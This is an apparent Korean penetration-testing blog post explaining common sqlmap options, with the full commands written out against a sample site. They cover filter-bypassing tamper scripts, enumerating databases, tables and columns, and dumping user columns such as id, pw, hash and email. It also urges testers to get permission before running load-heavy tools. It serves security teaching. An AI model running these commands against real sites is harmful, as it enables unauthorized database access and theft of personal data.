SQL 인젝션(SQL Injection)은 웹 사이트에서 사용자가 입력한 구간을 제대로 검증하지 않을 때 발생하는 취약점이다. Oracle, MySQL, MSSQL 등 데이터베이스에서 인식하는 쿼리(', ", or, and 등)의 시큐어 코딩을 적용하지 않으면 개인 정보가 노출될 수 있다.
만약, 취약점 진단을 하다가 SQL 인젝션(SQL Injection)이 의심되는 페이지를 발견했다면 자동화 도구를 이용해야 한다. 꼭 자동화 도구를 이용해야 되는 것은 아니지만 SQL 인젝션 유형에 따라 판단하면 된다.
사람마다 다르겠지만 파이썬으로 해당 공격 패턴을 대입하는 사람이 있고, 오픈소스 자동화 도구를 이용하는 사람이 있다.
여기서는 자주 사용하는 sqlmap 옵션을 설명하고자 한다. 실제 서비스에 아래의 옵션을 무작정 대입하는 사람은 없겠지만 가상 이미지에 대입해보면 가상 이미지가 다운된다.
요청 패킷 파일 지정하여 공격
# sqlmap -r request.txt -p "number"
-r : 파일 지정 (버프스위트로 잡은 요청 패킷을 파일로 저장)
-p : 특정 매개변수
부하를 줄이기 위한 공격
# sqlmap -u "http://daze.com/?number=3&name=daze" -p "number" --dbms=mysql --technique=BEUSQ --delay=10.0 --batch -v 3
-u : 웹 페이지 주소
-p : 특정 매개변수
--dbms : 데이터베이스 종류
--technique : SQL 인젝션의 유형(B:블라인드 부울 기반, E : 에러 기반, U : 유니온 쿼리 기반, S : 누적 쿼리 기반, T : 시간 기반, Q : 인라인 쿼리 기반)
--delay : 요청 시간
--batch : 공격 진행 중 사용자에게 물어보지 않음
-v : 공격 수행 과정(3 : INFO + DEBUG + PAYLOAD)
탬퍼 스크립트 지정하여 공격
# sqlmap -u "http://daze.com" --data="number=3&name=daze" -p "number" --dbms=mysql --level=3 --tamper='space2morehash.py' --batch -v 3
-u: 웹 페이지 주소
--data : POST 기반
-p : 특정 매개변수
--dbms : 데이터베이스 종류
--level : 탐지 레벨
--tamper : 필터링을 우회하기 위한 스크립트
--batch : 공격 진행 중 사용자에게 물어보지 않음
-v : 공격 수행 과정
데이터베이스 정보
# sqlmap -u "http://daze.com/?number=3&name=daze" -p "number" --dbms=mysql --dbs --current-user --current-db
-u : 웹 페이지 주소
-p : 특정 매개변수
--dbms : 데이터베이스 종류
--dbs : 데이터베이스 목록 출력
--current-user : 현재 데이터베이스 계정 출력
--current-db : 현재 데이터베이스 출력
테이블 정보
# sqlmap -u "http://daze.com/?number=3&name=daze" -p "number" -D webhack --table
-u : 웹 페이지 주소
-p : 특정 매개변수
-D : 데이터베이스 지정
--table : 테이블 목록 출력
컬럼 정보
# sqlmap -u "http://daze.com/?number=3&name=daze" -p "number" -D webhack -T joinus --column
-u : 웹 페이지 주소
-p : 특정 매개변수
-D : 데이터베이스 지정
-T : 테이블 지정
--column : 컬럼 목록 출력
특정 컬럼 덤프
# sqlmap -u "http://daze.com/?number=3&name=daze" -p "number" -D webhack -T joinus --columns -C id,pw,name,hash,email --dump
-u : 웹 페이지 주소
-p : 특정 매개변수
-D 데이터베이스 지정
-T : 테이블 지정
--columns -C : 특정 컬럼 지정
--dump : 덤프
--start 2300 --stop 2400 : 지정된 컬럼수 출력 (2300 ~ 2400라인까지
꼭 필요한 패턴을 파이썬 스크립트로 자동화하여 진단
프로젝트 진행 중 SQL 인젝션이 의심 되는 페이지를 발견했다. sqlmap 도구 등 자동화 도구를 이용해 데이터베이스 정보를 획득하면 될까
웹 모의해킹 보고서를 보면 진단자가 사용하는 도구를 명시하게 되어 있다. 이 도구 중 서버에 부하를 일으키는 도구는 담당자에게 허가를 받고 돌려야 한다.
지금 투입된 프로젝트에서 담당자가 실질적으로 서비스를 제공하고 있고, 크리티컬한 것은 제외하고, 되도록 야간에 작업하라고 요청이 들어왔다.
이 말은 자동화 도구는 최대한 사용하지 말고, 수동으로 진단하라는 말이다. sqlmap에 옵션을 설정한다고 해도 로그가 많이 쌓이게 되고, 부하를 일으키게 된다.
▶ SQL Injection INTO OUTFILE - WebShell, Backdoor Upload